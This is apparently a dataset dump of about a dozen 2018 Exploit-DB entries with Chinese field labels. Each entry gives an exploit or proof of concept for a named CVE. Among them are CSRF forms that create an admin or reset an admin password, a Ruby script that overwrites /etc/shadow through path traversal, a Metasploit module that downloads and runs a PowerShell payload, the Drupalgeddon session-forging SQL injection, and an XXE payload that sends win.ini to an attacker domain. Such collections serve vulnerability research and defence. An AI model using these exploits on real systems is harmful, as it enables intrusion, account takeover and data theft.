QLWD/code_shield huggingface dataset:
标题: Open-AuditIT Professional 2.1 - Cross-Site Request Forgery EDB-ID: 44360 CVE: 2018-8979 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2018-03-30 漏洞利用脚本: # Exploit Title: Open-AuditIT Professional 2.1 - Cross-Site Request Forgery (CSRF)
# Date: 27-03-2018
# Exploit Author: Nilesh Sapariya
# Contact: https://twitter.com/nilesh_loganx
# Website: https://nileshsapariya.blogspot.com
# Vendor Homepage: https://www.open-audit.org/
# Software Link  : https://www.open-audit.org/downloads.php
# Version: 2.1
# CVE : CVE-2018-8979
# Tested on: Windows 10 Pro
# Category: Webapp Open-AuditIT Professional 2.1


1. Description:-
There is no CSRF protection in Open-AuditIT application, with a little help
of social engineering (like sending a link via email/chat) an attacker may
force the victim to click on a malicious link by which any normal user can
become an Admin user. The attack can force an end user to execute unwanted
actions on a web application in which they're currently authenticated.
Using this vulnerability, we were able to compromise entire user account
with chaining this bug with XSS.



2. Proof of Concept
Login into Open-AuditIT Professional 2.1
Step 1 :- Craft a HTML Page with XSS payload
Step 2:- Save this .html file and send it to victim (Victim  should be
loggedin in the browser)
Crafted value will be added.


Affected Code:
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/omk/open-audit/credentials"
method="POST">
      <input type="hidden" name="data&#91;attributes&#93;&#91;name&#93;"
value="<img src=x onerror=alert('hacked');>" />
      <input type="hidden"
name="data&#91;attributes&#93;&#91;org&#95;id&#93;" value="1" />
      <input type="hidden"
name="data&#91;attributes&#93;&#91;description&#93;" value="CSRF" />
      <input type="hidden" name="data&#91;attributes&#93;&#91;type&#93;"
value="ssh" />
      <input type="hidden"
name="data&#91;attributes&#93;&#91;credentials&#93;&#91;username&#93;"
value="test" />
      <input type="hidden"
name="data&#91;attributes&#93;&#91;credentials&#93;&#91;password&#93;"
value="test" />
      <input type="hidden" name="data&#91;type&#93;" value="credentials" />
      <input type="hidden" name="submit" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


3] POCs and steps:
https://nileshsapariya.blogspot.ae/2018/03/csrf-to-xss-open-auditit-professional-21.html


Thanks & Regards,
Nilesh Sapariya
Security Researcher
https://twitter.com/nilesh_loganx
*https://nileshsapariya.blogspot.in URL: https://www.exploit-db.com/exploits/44360
标题: Homematic CCU2 2.29.23 - Arbitrary File Write EDB-ID: 44361 CVE: 2018-7300 类型: WEBAPPS 平台: CGI 发布日期: 2018-03-30 漏洞利用脚本: #!/usr/bin/ruby

# Exploit Title: Homematic CCU2 Arbitrary File Write
# Date: 28-03-18
# Exploit Author: Patrick Muench, Gregor Kopf
# Vendor Homepage: http://www.eq-3.de
# Software Link: http://www.eq-3.de/service/downloads.html?id=268
# Version: 2.29.23
# CVE : 2018-7300

# Description: http://atomic111.github.io/article/homematic-ccu2-filewrite

require 'net/http'
require 'net/https'
require 'uri'
require 'json'

unless ARGV.length == 3
  STDOUT.puts <<-EOF
Please provide url

Usage:
  write_files.rb <ip.adress> <file path> <content of the file>

Example:
  write_files.rb https://192.168.1.1 '/etc/shadow' 'root:$1$DsoAgNYx$BSSQ9cLv0DLLknpqztgdd/:19087:0:99999:7:::'

  or

  write_files.rb http://192.168.1.1 '/etc/shadow' 'root:$1$DsoAgNYx$BSSQ9cLv0DLLknpqztgdd/:19087:0:99999:7:::'

EOF
  exit
end

# The first argument specifiee the URL and if http or https is used
url = ARGV[0] + "/api/homematic.cgi"

# The second argument specifies the file into which the content should be written
homematic_file_path = ARGV[1]

# The third argument specifies the content of the file
homematic_file_content = ARGV[2]

# define the json body for the attack
body = {
        "version": "1.1",
        "method": "User.setLanguage",
        "params": {
                    "userName": "file path",
                    "userLang": "file content"
                  }
        }.to_hash

# define the traversal with the file you want to write
body[:params][:userName] = "../../../../../../../.." + homematic_file_path + "\u0000"

# define the content
body[:params][:userLang] = homematic_file_content

# split the uri to access it in a easier way
uri = URI.parse(url)

# define target connection, disabling certificate verification
Net::HTTP.start(uri.host, uri.port, :use_ssl => uri.scheme == 'https', :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http|

  # define post request
  request = Net::HTTP::Post.new(uri.request_uri)

  # define the content type of the http request
  request.content_type = 'application/json'

  # define the request body
  request.body = body.to_json

  # send the request to the homematic ccu2
  response = http.request(request)

  # print response message code and status to cli
  puts 'Response code: ' + response.code + ' ' + response.message
end URL: https://www.exploit-db.com/exploits/44361
标题: MiniCMS 1.10 - Cross-Site Request Forgery EDB-ID: 44362 CVE: 2018-9092 类型: WEBAPPS 平台: PHP 发布日期: 2018-03-30 漏洞利用脚本: <--
# Exploit Title:  MiniCMS 1.10 CSRF Vulnerability
# Date: 2018-03-28
# Exploit Author: zixian（me@zixian.org、zixian@5ecurity.cn）
# Vendor Homepage: https://github.com/bg5sbk/MiniCMS
# Software Link: https://github.com/bg5sbk/MiniCMS
# Version: 1.10
# CVE : CVE-2018-9092



There is a CSRF vulnerability that can change the administrator account password
After the administrator logged in, open the following page
 poc:
-->

 <html>
 <head><meta http-equiv="Content-Type" content="text/html; charset=GB2312">
 <title>test</title>
 <body>
 <form action="http://127.0.0.1/minicms/mc-admin/conf.php" method="post">
 <input type="hidden" name="site_name" value="hack123" />  
 <input type="hidden" name="site_desc" value="hacktest" />  
 <input type="hidden" name="site_link" value="http://127.0.0.1/minicms" />  
 <input type="hidden" name="user_nick" value="hack" />  
 <input type="hidden" name="user_name" value="admin" />  
 <input type="hidden" name="user_pass" value="hackpass" />  
 <input type="hidden" name="comment_code" value="" />  
 <input type="hidden" name="save" value=" " /> 
 </form>
 <script>
  document.forms[0].submit();
 </script>
 </body>
 </head>
 </html> URL: https://www.exploit-db.com/exploits/44362
标题: Exodus Wallet (ElectronJS Framework) - Remote Code Execution (Metasploit) EDB-ID: 44357 CVE: 2018-1000006 类型: REMOTE 平台: WINDOWS 发布日期: 2018-03-29 漏洞利用脚本: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'         => 'Exodus Wallet (ElectronJS Framework) remote Code Execution',
      'Description'  => %q(
         This module exploits a Remote Code Execution vulnerability in Exodus Wallet,
         a vulnerability in the ElectronJS Framework protocol handler can be used to
         get arbitrary command execution if the user clicks on a specially crafted URL.
      ),
      'License'      => MSF_LICENSE,
      'Author'       =>
        [
          'Wflki',          # Original exploit author
          'Daniel Teixeira' # MSF module author
        ],
      'DefaultOptions' =>
        {
          'SRVPORT'    => '80',
          'URIPATH'    => '/',
        },
      'References'     =>
        [
          [ 'EDB', '43899' ],
          [ 'BID', '102796' ],
          [ 'CVE', '2018-1000006' ],
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['PSH (Binary)', {
            'Platform' => 'win',
            'Arch' => [ARCH_X86, ARCH_X64]
          }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jan 25 2018'
    ))

  register_advanced_options(
    [
      OptBool.new('PSH-Proxy', [ true,  'PSH - Use the system proxy', true ]),
    ], self.class
  )
  end

  def gen_psh(url)
      ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl

      download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))

      download_and_run = "#{ignore_cert}#{download_string}"

      return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
  end

  def serve_payload(cli)
   data = cmd_psh_payload(payload.encoded,
      payload_instance.arch.first,
      remove_comspec: true,
      exec_in_place: true
    )

    print_status("Delivering Payload")
    send_response_html(cli, data, 'Content-Type' => 'application/octet-stream')
  end

  def serve_page(cli)
    psh = gen_psh("#{get_uri}payload")
    psh_escaped = psh.gsub("\\","\\\\\\\\").gsub("'","\\\\'")
    val = rand_text_alpha(5)

    html = %Q|<html>
<!doctype html>
<script>
  window.location = 'exodus://#{val}" --gpu-launcher="cmd.exe /k #{psh_escaped}" --#{val}='
</script>
</html>
|
    send_response_html(cli, html)
  end

  def on_request_uri(cli, request)
    case request.uri
    when /payload$/
      serve_payload(cli)
    else
      serve_page(cli)
    end
  end

end URL: https://www.exploit-db.com/exploits/44357
标题: Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Admin Session) EDB-ID: 44355 CVE: 2014-3704 类型: WEBAPPS 平台: PHP 发布日期: 2014-11-03 漏洞利用脚本: <?php
//    _____      __   __  _             _______
//   / ___/___  / /__/ /_(_)___  ____  / ____(_)___  _____
//   \__ \/ _ \/ //_/ __/ / __ \/ __ \/ __/ / / __ \/ ___/
//  ___/ /  __/ ,< / /_/ / /_/ / / / / /___/ / / / (__  )
// /____/\___/_/|_|\__/_/\____/_/ /_/_____/_/_/ /_/____/
// Poc for Drupal Pre Auth SQL Injection - (c) 2014 SektionEins
//
// created by Stefan Horst <stefan.horst@sektioneins.de>
//·

include 'common.inc';
include 'password.inc';

// set values
$user_name = 'admin';

$url = isset($argv[1])?$argv[1]:'';
$user_id = isset($argv[2])?intval($argv[2]):1;

if ($url == '-h') {
      echo "usage:\n";
      echo $argv[0].' $url [$user_id]'."\n";
      die();
}

if (empty($url) || strpos($url,'https') === False) {
      echo "please state the cookie url. It works only with https urls.\n";
      die();
}

if (strpos($url, 'www.') === 0) {
      $url = substr($url, 4);
}

$url = rtrim($url,'/');

list( , $session_name) = explode('://', $url, 2);

// use insecure cookie with sql inj.
$cookieName = 'SESS' . substr(hash('sha256', $session_name), 0, 32);
$password = user_hash_password('test');

$session_id = drupal_random_key();
$sec_ssid = drupal_random_key();

$inject = "UNION SELECT $user_id,'$user_name','$password','','','',null,0,0,0,1,null,'',0,'',null,$user_id,'$session_id','','127.0.0.1',0,0,null -- ";

$cookie = $cookieName.'[test+'.urlencode($inject).']='.$session_id.'; '.$cookieName.'[test]='.$session_id.'; S'.$cookieName.'='.$sec_ssid;

// send the request to the server
$ch = curl_init($url);

curl_setopt($ch,CURLOPT_HEADER,True);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,True);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,False);
curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:34.0) Gecko/20100101 Firefox/34.0');

curl_setopt($ch,CURLOPT_HTTPHEADER,array(
      'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
      'Accept-Language: en-US,en;q=0.5'
));

curl_setopt($ch,CURLOPT_COOKIE,$cookie);

$output = curl_exec($ch);

curl_close($ch);

echo "Session with this ID created:\n";
echo "S".$cookieName.": ".$sec_ssid; URL: https://www.exploit-db.com/exploits/44355
标题: Open-AuditIT Professional 2.1 - Cross-Site Scripting EDB-ID: 44354 CVE: 2018-8903 类型: WEBAPPS 平台: PHP 发布日期: 2018-03-28 漏洞利用脚本: # Exploit Title: Open-AuditIT Professional 2.1 - Stored Cross site scripting (XSS)
# Date: 27-03-2018
# Exploit Author: Nilesh Sapariya
# Contact: https://twitter.com/nilesh_loganx
# Website: https://nileshsapariya.blogspot.com
# Vendor Homepage: https://www.open-audit.org/
# Version: 2.1
# CVE : CVE-2018-8903
# Category: Webapp Open-AuditIT Professional 2.1


1. Description:-
 It was observed that attacker is able to inject a malicious script in the
Application. As server is not filtering the inputs provided by an attacker
and the script executes in the victim browser when he tries to visit the
page


2. Proof of Concept
Login into Open-AuditIT Professional 2.1
1] Go to Home ==> Credentials
2] Enter XSS payload in Name and Description Field
"><img src=x onerror=alert(1337);>
3] Click on Submit
Visi this page :-
http://localhost/omk/open-audit/credentials

3] POCs and steps:
https://nileshsapariya.blogspot.ae/2018/03/csrf-to-xss-open-auditit-professional-21.html URL: https://www.exploit-db.com/exploits/44354
标题: WordPress Plugin Site Editor 1.1.1 - Local File Inclusion EDB-ID: 44340 CVE: 2018-7422 类型: WEBAPPS 平台: PHP 发布日期: 2018-03-23 漏洞利用脚本: Product: Site Editor Wordpress Plugin - https://wordpress.org/plugins/site-editor/
Vendor: Site Editor
Tested version: 1.1.1
CVE ID: CVE-2018-7422

** CVE description **
A Local File Inclusion vulnerability in the Site Editor plugin through 1.1.1 for WordPress allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php.

** Technical details **
In site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php:5, the value of the ajax_path parameter is used for including a file with PHP’s require_once(). This parameter can be controlled by an attacker and is not properly sanitized.

Vulnerable code:
if( isset( $_REQUEST['ajax_path'] ) && is_file( $_REQUEST['ajax_path'] ) && file_exists( $_REQUEST['ajax_path'] ) ){
    require_once $_REQUEST['ajax_path'];
}

https://plugins.trac.wordpress.org/browser/site-editor/trunk/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?rev=1640500#L5

By providing a specially crafted path to the vulnerable parameter, a remote attacker can retrieve the contents of sensitive files on the local system.

** Proof of Concept **
http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

** Solution **
No fix available yet.

** Timeline **
03/01/2018: author contacted through siteeditor.org's contact form; no reply
16/01/2018: issue report filled on the public GitHub page with no technical details
18/01/2018: author replies and said he replied to our e-mail 8 days ago (could not find the aforementioned e-mail at all); author sends us "another" e-mail
19/01/2018: report sent; author says he will fix this issue "very soon"
31/01/2018: vendor contacted to ask about an approximate release date and if he needs us to postpone the disclosure; no reply
14/02/2018: WP Plugins team contacted; no reply
06/03/2018: vendor contacted; no reply
07/03/2018: vendor contacted; no reply
15/03/2018: public disclosure

** Credits **
Vulnerability discovered by Nicolas Buzy-Debat working at Orange Cyberdefense Singapore (CERT-LEXSI).

--
Best Regards,

Nicolas Buzy-Debat
Orange Cyberdefense Singapore (CERT-LEXSI) URL: https://www.exploit-db.com/exploits/44340
标题: Acrolinx Server < 5.2.5 - Directory Traversal EDB-ID: 44345 CVE: 2018-7719 类型: REMOTE 平台: WINDOWS 发布日期: 2018-03-26 漏洞利用脚本: # Exploit Title: Acrolinx Dashboard Directory Traversal
# CVE: CVE 2018-7719
# Date: 19.02.2017
# Exploit Author: Berk Dusunur
# Vendor Homepage: www.acrolinx.com
# Version:Before 5.2.5

PoC

Acrolinx dashboard windows works on the server.


http://localhost/..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini

http://www.berkdusunur.net/2018/03/tr-en-acrolinx-dashboard-directory.html URL: https://www.exploit-db.com/exploits/44345
标题: Laravel Log Viewer < 0.13.0 - Local File Download EDB-ID: 44343 CVE: 2018-8947 类型: WEBAPPS 平台: PHP 发布日期: 2018-03-26 漏洞利用脚本: # Exploit Title: Laravel log viewer by rap2hpoutre local file download (LFD)
# Date: 23/02/2018
# Exploit Author: Haboob Team
# Software Link: https://github.com/rap2hpoutre/laravel-log-viewer/tree/v0.11.1
# Version: v0.12.0 and below
# CVE : CVE-2018-8947

 
1. Description
   
Unauthorized user can access Laravel log viewer by rap2hpoutre and use download function to download any file with laravel permission, by base64 encode the wanted file.
 
   
2. Proof of Concept
 
#After providing the url of the vulnerable laravel log viewer by rap2hpoutre (with / in the end or you can edit it yourself), and the file wanted including "../" the script will create a folder and save the downloaded file there
 
import os
import base64
from urllib2 import urlopen, URLError, HTTPError
import argparse
import cookielib
parser = argparse.ArgumentParser(description='_0_ Laravel 0Day _0_')
parser.add_argument("-u", action="store", dest="url", help="Target URL", required=True)
parser.add_argument("-f", action="store", dest="file", help="Target File", required=True)

args = parser.parse_args()
url = str(args.url).strip()+"/logs/?dl="
final_file= args.file
if not os.path.exists("./0Grats0"):
    os.makedirs("./0Grats0")

word = str(args.file).split('/')
word1= "./0Grats0/"+word[-1]
finalee=url+base64.b64encode(final_file)

try:
    f = urlopen(finalee)
        with open(word1, "wb") as local_file:
            local_file.write(f.read())
except HTTPError, e:
        print "HTTP Error:", e.code, finalee
except URLError, e:
        print "URL Error:", e.reason, finalee
 
 
 
 
   
3. Solution:
   
Update to version v0.13.0
https://github.com/rap2hpoutre/laravel-log-viewer/releases/tag/v0.13.0 URL: https://www.exploit-db.com/exploits/44343
标题: Microsoft Windows Remote Assistance - XML External Entity Injection EDB-ID: 44352 CVE: 2018-0878 类型: WEBAPPS 平台: WINDOWS 发布日期: 2018-03-28 漏洞利用脚本: # Exploit Title: Microsoft Windows Remote Assistance XXE
# Date: 27/03/2018
# Exploit Author: Nabeel Ahmed
# Tested on: Windows 7 (x64), Windows 10 (x64)
# CVE : CVE-2018-0878
# Category: Remote Exploits

Invitation.msrcincident
------------------------
<?xml version="1.0" encoding="UTF-8" ?>  
<!DOCTYPE zsl [  
<!ENTITY % remote SYSTEM "http://<yourdomain.com>/xxe.xml">  
%remote;%root;%oob;]>

xxe.xml
------------------------
<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">  
<!ENTITY % root "<!ENTITY &#37; oob SYSTEM 'http://<yourdomain.com>/?%payload;'> ">

Reference: https://krbtgt.pw/windows-remote-assistance-xxe-vulnerability/
Reference: Vulnerability discovered by Nabeel Ahmed (@NabeelAhmedBE) of Dimension Data (https://www.dimensiondata.com) URL: https://www.exploit-db.com/exploits/44352
标题: Android Bluetooth - BNEP bnep_data_ind() Remote Heap Disclosure EDB-ID: 44326 CVE: 2017-13262 2017-13261 2017-13260 2017-13258 类型: DOS 平台: ANDROID 发布日期: 2018-03-23 漏洞利用脚本: import os
import sys
import struct

import bluetooth

BNEP_PSM = 15
BNEP_FRAME_COMPRESSED_ETHERNET = 0x02
LEAK_ATTEMPTS = 20

def leak(src_bdaddr, dst):

    bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
    bnep.settimeout(5)
    bnep.bind((src_bdaddr, 0))
    print 'Connecting to BNEP...'
    bnep.connect((dst, BNEP_PSM))
    bnep.settimeout(1)
    print 'Leaking bytes from the heap of com.android.bluetooth...'

    for i in range(LEAK_ATTEMPTS):
        # A byte from the heap at (p + controlled_length) will be leaked
        # if it's greater than BNEP_FILTER_MULTI_ADDR_RESPONSE_MSG (0x06).
        # This BNEP packet can be seen in Wireshark with the following info:
        # "Compressed Ethernet+E - Type: unknown[Malformed packet]".
        # The response sent by bnep_send_command_not_understood() contains 3 bytes:
        # 0x01 (BNEP_FRAME_CONTROL) + 0x00 (BNEP_CONTROL_COMMAND_NOT_UNDERSTOOD) + leaked byte

        # 0x82 & 0x80 == 0x80 -> Extension flag = True. 0x82 & 0x7f == 0x2 -> type
        type_and_ext_present = BNEP_FRAME_COMPRESSED_ETHERNET | 0x80

        # 0x80 -> ext -> we need to pass this check: !(ext & 0x7f)
        ext = 0x80

        # i -> length (the 'p' pointer is advanced by this length)

        bnep.send(struct.pack('<BBB', type_and_ext_present, ext, i))
        try:
            data = bnep.recv(3)
        except bluetooth.btcommon.BluetoothError:
            data = ''

        if data:
            print 'heap[p + 0x%02x] = 0x%02x' % (i, ord(data[-1]))
        else:
            print 'heap[p + 0x%02x] <= 6' % (i)

    print 'Closing connection.'
    bnep.close()


def main(src_bdaddr, dst):
    os.system('hciconfig %s sspmode 0' % (src_bdaddr,))
    os.system('hcitool dc %s' % (dst,))

    leak(src_bdaddr, dst)


if __name__ == '__main__':
    if len(sys.argv) < 3:
        print('Usage: python bnep01.py <src-bdaddr> <dst-bdaddr>')
    else:
        if os.getuid():
            print 'Error: This script must be run as root.'
        else:
            main(sys.argv[1], sys.argv[2]) URL: https://www.exploit-db.com/exploits/44326
标题: Coship RT3052 Wireless Router - Persistent Cross-Site Scripting EDB-ID: 44320 CVE: 2018-8772 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-03-20 漏洞利用脚本: ######################################################################################
# Exploit Title: Coship RT3052 Wireless Router - Persistent Cross Site Scripting (XSS)
# Date: 2018-03-18
# Exploit Author: Sayan Chatterjee
# Vendor Homepage: http://en.coship.com/
# Category: Hardware (Wifi Router)
# Version: 4.0.0.48
# Tested on: Windows 10
# CVE: CVE-2018-8772
#######################################################################################
 
Proof of Concept
=================
URL: http://192.168.1.254 (Wifi Router Gateway)
Attack Vector : Network Name(SSID)
Payload : <script>alert("S@Y@N")</script>
 
Reproduction Steps:
------------------------------
1. Access the wifi router gateway [i.e, http://192.168.1.254]
2. Go to "Wireless Setting" -> "Basic"
3. Update "Network Name(SSID)" field with '<script>alert("S@Y@N")</script>'
4. Save the settings.
5. Go to "System Status" and you will be having "S@Y@N" popup.

####################################################################################### URL: https://www.exploit-db.com/exploits/44320